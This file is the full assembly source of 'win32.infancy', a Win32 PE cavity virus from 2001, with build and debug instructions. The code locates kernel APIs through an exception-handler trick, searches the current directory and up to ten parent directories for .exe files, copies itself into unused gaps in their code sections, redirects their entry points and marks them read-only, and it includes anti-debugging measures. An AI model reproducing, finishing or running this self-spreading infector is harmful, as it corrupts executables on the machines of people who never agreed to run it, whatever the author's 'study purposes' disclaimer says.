;????????????????????????????????????????????????????????????????????????????»
;? win32.infancy (c)oded by shitdown [mions] in feb-18-2001, alfa version    ?
;? non-dangerous, non-resident pe cavity ring3 direct-action infector        ? 
;?????????????????????????????????????????????????????????????????????????????
;? this code is optimised for size by technique, not by asm :(               ?
;?????????????????????????????????????????????????????????????????????????????
;?????????????????????????????????????????????????????????????????????????????
;? description:?                                                             ?
;???????????????                                                             ?
;?  name       : win32.infancy (win32 teoretically, tested on win98 :-)      ?
;?  author     : shitdown (http://shitdown.sf.cz, email: shitdown@sf.cz)     ?
;?  origin     : czech republic                                              ?
;?  size       : 540 bytes                                                   ?
;?  infects    : .exe pe files                                               ?
;?  payload    : no                                                          ?
;?  strings    : no                                                          ?  
;?  encrypt    : no                                                          ?
;?  resident   : no                                                          ?
;?  cavity     : yes                                                         ?
;?  anti-debug : yes, 0cch api callgate fucks td32                           ?
;?  anti-emu   : yes,non-standard playing with seh                           ? 
;?  anti-av    : no                                                          ?
;?????????????????????????????????????????????????????????????????????????????
;?  simple example tiny virus, shows how to use                              ?
;?  structured exception handling                                            ?
;?  kernel is determined by standard way (pop eax/push eax)                  ?
;?  at start, apis is located at fly (when is needed)                        ?
;?  ( push crc32 of api / int 3 ) - crc32 api names,                         ?
;?  virus can be easy detected / cleaned by generic scaner                   ?
;?  virus doesn't needs write permission to section -                        ?
;?  - all variables will be allocated dynamically on stack                   ?
;?  virus searches & infects all files in 10 up-directories;                 ?
;?  (cd .. / infect_all, cd .. / infect_all :)                               ?
;?  this cute code is designed to use 'holes' in code                        ?
;?  section, virus doesn't increase host size.                               ?
;?  this code is not purposed to be world-wide :)                            ?
;?  so, only for study purposes.                                             ?
;?                                                                           ? 
;?how to compile:                                                            ? 
;? tasm32 -ml -m9 -q -zn -z infancy.asm                                      ? 
;? tlink32 -r -m -s -M -Tpe -c -ap infancy.obj                               ? 
;?how to debug:                                                              ? 
;? set 'softice' definition to '1', compile, go to softice and type          ? 
;?'i1here on' and run infancy.exe file.                                      ? 
;????????????????????????????????                                            ? 
;?fuck the windows, linux rocks!?                                            ?
;????????????????????????????????????????????????????????????????????????????? 
                .386p                                      ;nice machines :)
                .model  flat                               ;why ? why not !    
softice         =       0                                                      
dir_depth       =       10                                 ;10 up-directories  
                .data    
dummy           dd      ?                                                      
;                          ?????????????????
;??????????????????????????? needed macroz ???????????????????????????????????
;                          ?????????????????
;                       
;???????????????
;? crc32 macro ?
;???????????????
crc32_magic     =       0c1a7f39ah
                crc32   macro string
crcreg          =       0ffffffffh
                irpc    _x, <string>
ctrlbyte        =       ('&_x&' and 0dfh) xor (crcreg and 0ffh)
crcreg          =       crcreg shr 8
                rept    8                 
ctrlbyte        =       (ctrlbyte shr 1) xor (crc32_magic * (ctrlbyte and 1))
                endm     
crcreg          =       crcreg xor ctrlbyte
                endm     
                dd      crcreg
                endm     
;??????????????????  
;? api call macro ?
;??????????????????     
                api     macro apiname
                db      68h
                crc32   <apiname>
                db      0cch     
                endm     

;????????????????????????????
;? softice breakpoint macro ?
;????????????????????????????
                break   macro             
                if      softice
                int     01
                endif    
                endm     

;                       ????????????????????????????
;???????????????????????? here starts code section ???????????????????????????
;                       ????????????????????????????
                .code    
go:                     
virus_start:            
;??????????????????????????????????????????????????????
;? try to get kernel address, using 'standard' method ?
;? pop eax / push eax, function is protected by seh   ?
;??????????????????????????????????????????????????????
                pop     eax                                ;kernel address
                push    eax                                ;to eax
                xor     ax, ax                                    
k32_scan_next:          
                push    eax                                ;for restorin'
                                                           ;by seh
                call    set_k32_scan_seh                          
k32_scan_seh:           
                pop     ecx                                ;esp+8
                pop     ecx                                      
                pop     esp                                ;mov esp, [esp+8]
k32_scan_mismatch:       
                pop     ecx                                ;remove old seh
                pop     ecx                                               

                pop     eax                                ;restore last
                                                           ;kernel address 
                add     eax, 0-10000h                                
                jmp     short k32_scan_next                ;try again

set_k32_scan_seh:        
                xor     ecx, ecx                                     
                push    ecx                                          
                mov     dword ptr fs:[ecx], esp                      

                cmp     word ptr [eax], 5a4dh                        
                jne     short k32_scan_mismatch                      
k32_found:              
                pop     eax                                ;remove old seh
                pop     ecx                                          
                pop     ebp
                        
;?????????????????????? create handler for virus-services ?????????????????????
                call    get_handler_offset
;????????????????????????????????????????????????????????????????????
;? here is an entrypoint of exception gate, if any exception occurs ?
;? (including 0cch opcode call), this code will be executed         ?
;????????????????????????????????????????????????????????????????????
exception_handler:       
                pushad                                     ;save all registerz
                mov     esi, [esp+4+20h]                   ;exception code
                lodsb                                      ;exception number
                cmp     al, 3                              ;virus request ?
                je      short exception_virus_request      ;yah
;????????????????????????????????????????????????????????????????
;? only handled exception is int 0x3 - virus api gateway, other ?
;? exceptions is page faults, invalid opcodes etc, then virus   ?
;? tryes jump to original host                                  ?
;????????????????????????????????????????????????????????????????
other_exception:        
                break    
                mov     esp, [esp+8+20h]                       
                pop     eax                                ;remove old seh handler
                pop     eax                                    
                call    get_eip                                
get_eip:                
                db      81h, 2ch, 24h                      ;sub [esp], old_host
old_host        dd      -((offset fake_host-offset go)-(offset get_eip-offset go))
                ret      
;??? virus interrupt / request                                 
exception_virus_request:  
                mov     esi, [esp+0ch+20h]                 ;context-block       
                add     esi, 0b4h                          ;pointer 
                lodsd                                      ;to saved ebp   
                xchg    eax, ebp                           ;ebp-base of kernel
                mov     edi, esi                           ;for edi storing
                lodsd                                      ;load eip to eax
                xchg    eax, esi                           ;in esi is eip  

;??? fix win9x bug      
                lodsb    
                cmp     al, 0cch                                           
                je      short no_w9x_bug                                   
                dec     esi                                                
no_w9x_bug:             
;???????????????????????????????????????????                               
;? in esi is return addres (after int 03h) ?                               
;? in edi is pointer to stack stored eip   ?
;???????????????????????????????????????????                               
                mov     ebx, [edi+12]                      ;esi points to dword on stack
                xchg    [ebx], esi                         ;xchange crc32 <> return addr
                mov     ebx, esi                           ; :( crc32 to ebx
;?????????????????????????????????????????
;? okay, now i must call those crazy api ?
;? in ebp is kernel address              ?
;?????????????????????????????????????????
                mov     esi, [ebp+3ch]                     ;pe header to esi
                mov     esi, [esi+ebp+78h]                 ;export table to esi
                lea     esi, [esi+ebp+1ch]                 ;offset of 'address table'
                lodsd                                      ;address table
                push    eax                                ;save 'address table'
                lodsd                                      ;name table to eax
                push    esi                                ;save pointer to ordinal table
                lea     esi, [eax+ebp]      
                mov     ecx, ebp                           ;counter of api
try_next_api_name:       
                lodsd                                      ;in eax pointer to string
                add     eax, ebp          

;???? crc32 code ?????????????????????????????????????????????????????????????
;?  ? input: eax - offset to name ?                                          ?
;   ? output:edx - crc32          ?                                             
;   ???????????????????????????????       
get_crc32:              
                push    esi
                xchg    eax, esi
                xor     edx, edx
                dec     edx
crc_next_byte:          
                lodsb    
                and     al, 0dfh			;i hate uppercase :)
                jz      short crc_finish
                xor     dl, al
                mov     al, 08h
crc_next_bit:           
                shr     edx, 01h
                jnc     short crc_no_change
                xor     edx, crc32_magic  
crc_no_change:          
                dec     al
                jnz     short crc_next_bit
                jmp     short crc_next_byte
crc_finish:             
                pop     esi
;?                                                                           ?
;?????????????????????????????? end of crc32 ?????????????????????????????????
                inc     ecx
                inc     ecx     
                cmp     edx, ebx                           ;hit ?
                jne     short try_next_api_name
;????????????????????????????????????????????
;? yahooo, api hit!                         ?
;? in ecx is api index (starting from 1 !!) ?
;????????????????????????????????????????????
                pop     esi                                ;restore *ordinal_table
                lodsd                                      ;in eax pointer to ordinal table
                movzx   ecx, word ptr [eax+ecx-2]          ;in ecx is now ordinal (0..x)
                pop     eax                                ;in esi is ptr address table
                add     eax, ebp
                mov     eax, [ecx*4+eax]                   ;and jump to api :)
                add     eax, ebp          
                stosd    
                popad    
                xor     eax, eax
                ret      

;?                                                                           ?
;???????????????????????????? end of virus-handler ???????????????????????????
;????????????????????????? here starts infection engine ??????????????????????
;?                                                                           ?

infect:                 
                xor     esi, esi
                lea     ebx, [esp+44+2*4]                  ;filename to ebx
;??? at first, i must open file for read & write
                push    esi                                ;file attributes
                push    esi                                ;""
                push    3                                  ;open existing
                push    esi                                ;security=default
                push    esi                                ;no sharing
                push    0c0000000h                         ;generic read & write
                push    ebx                                ;file name
                api     <createfilea>                      ;open!
                inc     eax                                ;-1+1=0 ?
                jnz     short infect_continue
                retn     
infect_continue:                                           ;       yes, this is error
                dec     eax                                ; handle to eax
                push    eax                                ;save for future use

;??? now create file mapping
                push    esi                                ;no filename handle
                push    dword ptr [esp+32+4*4]             ;maximal size of file
                push    esi                                ;no min. size
                push    4                                  ;page read & write
                push    esi                                ;no security
                push    eax                                ;mapped file handle
                api     <createfilemappinga>
                push    eax                                ;save for future use

;??? and map file to memory
                push    dword ptr [esp+32+4*4]             ;count of bytes to map
                push    esi                                ;blah...
                push    esi                                ;
                push    2                                  ;read & write
                push    eax                                ;map-handle
                api     <mapviewoffile>
;??? yahoo, in eax is mapped file
                mov     ebx, eax
                cmp     word ptr [eax], 5a4dh              ;exe file ?
                jne     short @unmap_file
                cmp     word ptr [eax+18h], 0040h
@unmap_file:            
                jne     short @@unmap_file
                add     ebx, [eax+3ch]
                cmp     word ptr [ebx], 4550h              ;is this pe header ?
@@unmap_file:   jne     short unmap_file                   ;no

                xchg    edx, eax                           ;imagebase to edx
                push    ebx                                ;save pe header
                break    
                movzx   eax, word ptr [ebx+14h]                           
                add     ebx, eax                                          
                test    byte ptr [ebx+18h+24h], 20h        ;executable ?  
                jz      short _unmap_file                  ;no :(         
code_section_found:      
;??? okay, in ebx+18h is section record
                break   
                mov     ecx, dword ptr [ebx+18h+10h]       ;raw_size
                cmp     ecx, dword ptr [ebx+18h+08h]       ;raw_size>virtual size ?    
                jc      short _unmap_file                  ;raw size too small, go away
                mov     esi, [ebx+18h+14h]                 ;raw address of section in esi
                add     esi, edx                           ;esi points to start of .code
                mov     eax, [ebx+18h+0ch]                 ;relative virt. addr to eax
;????????????????????????????????????????????????????????????????????     
;? esi - pointer to code, ecx - count of bytes left, edi - counter  ?     
;? eax - offset of cave (rva)                                       ?     
;????????????????????????????????????????????????????????????????????     

;???? current stack dump ????????????????????»                            
;? [esp]    ? memory mapped pe header        ?                            
;? [esp+4]  ? map handle                     ?                            
;? [esp+8]  ? file handle                    ?                            
;? [esp+12] ? offset of after_infect: label  ?                            
;? [esp+16] ? file search handle             ?                            
;? [esp+20] ? start of win32_find_data       ?                            
;? [esp+48] ? 100% null-filled 4bytes :))    ?                            
;?????????????????????????????????????????????                            
;                push    dword ptr [ebx+0ch+18h]            ;save virtual addr
;                mov     dword ptr [esp+20], [ebx+0ch+18h]                
                xor     edi, edi                                          
hole_mismatch:          
                add     [esp+48], edi                                     
                add     esi, edi                                          
                xor     edi, edi                                          
                push    esi                                ;save address  
holes_search:           
                dec     ecx                                               
                pop     eax                                ;clean stack   
                js      short _unmap_file                                 
                push    eax                                               
                inc     edi                                ;counter of found bytes
                lodsb    
                test    al, al                                            
                jz      short holes_search                                
                cmp     al, 0cch                                          
                jz      short holes_search                                
                cmp     al, 0c3h                                          
                jz      short holes_search                                
hole_end:               
                db      66h, 81h, 0ffh                     ;cmp di, virus_size
                dw      virus_size+4                                      

                pop     esi                                ;restore saved address
                jc      short hole_mismatch                ;no :(
                break
hole_found:             
                lodsd    
;??????????????????????????????????????????????????????                   
;? yah, in stack is rva of cave, in esi cave address  ?                   
;? in edi size of cave                                ?                   
;??????????????????????????????????????????????????????                   
;                push    dword ptr [ebx+18h+10h]            ;raw  size    
;                pop     dword ptr [ebx+18h+08h]            ;=virtual size

                mov     edi, esi                           ;in edi offset of cave
                mov     esi, [esp+12]                      ;offset infect to esi
                sub     esi, offset after_infect - offset go ;offset of go to esi
; push esi                                                                
                mov     ecx, virus_size                    ;virus size to ecx
                rep     movsb                              ;and move the virus !!
; pop esi    ;in esi offset of infect:                                    
;??? in edi is offset virus_end                                           
                sub     edi, virus_end-old_host                           
                mov     ecx, [esp+48]                      ;addres relative to cave
                lea     ecx, [ecx+4]                                      
                add     ecx, [ebx+0ch+18h]                 ;rva of section
                pop     ebx                                ;pe header in ebx

                lea     eax, [ecx+get_eip-go]          

                xchg    [ebx+28h], ecx                     ;set entrypoint to virus
                sub     eax, ecx                       
;?????????????????????????????????????????????????????????????????????
;? old_host = rva_of_virus+(offset get_eip-offset go)-entrypoint_rva ?
;?????????????????????????????????????????????????????????????????????
                stosd                                      ;and store return adress
                push    eax  
_unmap_file:            
                xchg    edx, eax                                       
                pop     ecx                                ;remove shit (pe header)
;unmaps file, in eax must be address of mapped file                    
unmap_file:             
                push    eax                                            
                api     <unmapviewoffile>                              
                db      0bbh                               ;mov ebx, crc32 <closehandle>
                crc32   <closehandle>                                  
                push    ebx                                            
                db      0cch                               ;close mapping handle
                pop     edi  
                lea     esi, [esp+20+2*4]
                push    esi
                sub     esi, 8
                push    esi
                sub     esi, 8
                push    esi
                push    edi               
                api     <setfiletime>
                push    edi
                push    ebx
                db      0cch                               ;close file handle

                push    21h                                ;make file read-only
                add     esi, 40h
                push    esi    
                api     <setfileattributesa>
unmap_file_end:         
infect_file_end:        
                retn     

infect_end:             

;? old_host = rva_of_virus+(offset get_eip-offset go)-entrypoint_rva         ?
;?????????????????????????? here ends infection engine ???????????????????????


get_handler_offset:      
;--- setup handler for virus services / exeption handling
                break    
                push    eax               
                mov     dword ptr fs:[eax], esp
                push    dir_depth

                mov     ah, 2                              ;512
                sub     esp, eax                           ;place for old directory
                push    esp                                ;buffer offset          
                push    eax                                ;buffer len             
                xchg    eax, ebx
                api     <getcurrentdirectorya>

;???????????????????????????????????????????????????????
;? main infection routine:                             ?
;? searches for *.exe and for ..\*.exe and infect them ?
;???????????????????????????????????????????????????????
                sub     esp, ebx                           ;size of (ffdata)
find_first:             
                push    esp                                ;offset of data buffer
                call    get_mask
                db      "*.exe", 0
get_mask:               
                api     <findfirstfilea>
dir_search:             

                push    eax                                ;save search handle
                call    infect
after_infect:           
                pop     esi
 
                push    esp
                push    esi
                api     <findnextfilea>
                dec     eax
                xchg    eax, esi
                jz      short dir_search
next_directory:         
                push    eax
                api     <findclose>                        ;close search handle

                mov     dword ptr [esp], '..'
                push    esp
                db      0bbh
                crc32   <setcurrentdirectorya>
                push    ebx
                db      0cch
; api <setcurrentdirectorya>  ;go to next up directory

                dec     dword ptr [esp+1024]
                jnz     short find_first
                cdq                                        ;edx=0

                mov     dh, 2
                add     esp, edx
                push    esp
                push    ebx               
                db      0cch
; api <setcurrentdirectorya>
                int     4

virus_end:              
virus_size      =       $-virus_start

;???????????????????
;?end of virus game?
;???????????????????
;                              ??????????????????
;??????????????????????????????? fake host part ??????????????????????????????
;                              ??????????????????
msg:                    
                db      "win32.infancy."
                db      '0'+virus_size/100 mod 10
                db      '0'+virus_size/10 mod 10
                db      '0'+virus_size mod 10
                db      13, 10, "(c)oded by shitdown in jul-2000, http://shitdown@sf.cz, shitdown@sf.cz", 13, 10
                db      "welcome to first generation!", 13, 10
msg_len         =       $-msg

                db      1024 dup(?)

fake_host:              
;--------------- same kernel scanner
                pop     eax                                ;kernel address to eax
                push    eax
                xor     ax, ax
_k32_scan_next:         
                push    eax                                ;for restorin' by seh

                call    _set_k32_scan_seh
_k32_scan_seh:          
                pop     ecx                                ;esp+8
                pop     ecx
                pop     esp                                ;mov esp, [esp+8]
_k32_scan_mismatch:      
                pop     eax                                ;restore last kernel address

                pop     ecx                                ;remove old seh
                pop     ecx

                add     eax, 0-10000h     
                jmp     short _k32_scan_next               ;try again

_set_k32_scan_seh:       
                push    eax
                xor     ecx, ecx
                mov     dword ptr fs:[ecx], esp

                cmp     word ptr [eax], 5a4dh
                jne     _k32_scan_mismatch
_k32_found:             
                pop     ebp                                ;eax
                pop     eax                                ;remove old seh
                pop     eax

;-----------------------------------      

                xor     ecx, ecx
                push    offset exception_handler
                push    ecx               
                mov     dword ptr fs:[0], esp

                push    -11                                ;get a standard handle
                api     <getstdhandle>

                push    0
                push    offset dummy
                push    msg_len
                push    offset msg
                push    eax
                api     <writefile>

                push    0
                api     <exitprocess>
                end     go

;heh, thats all
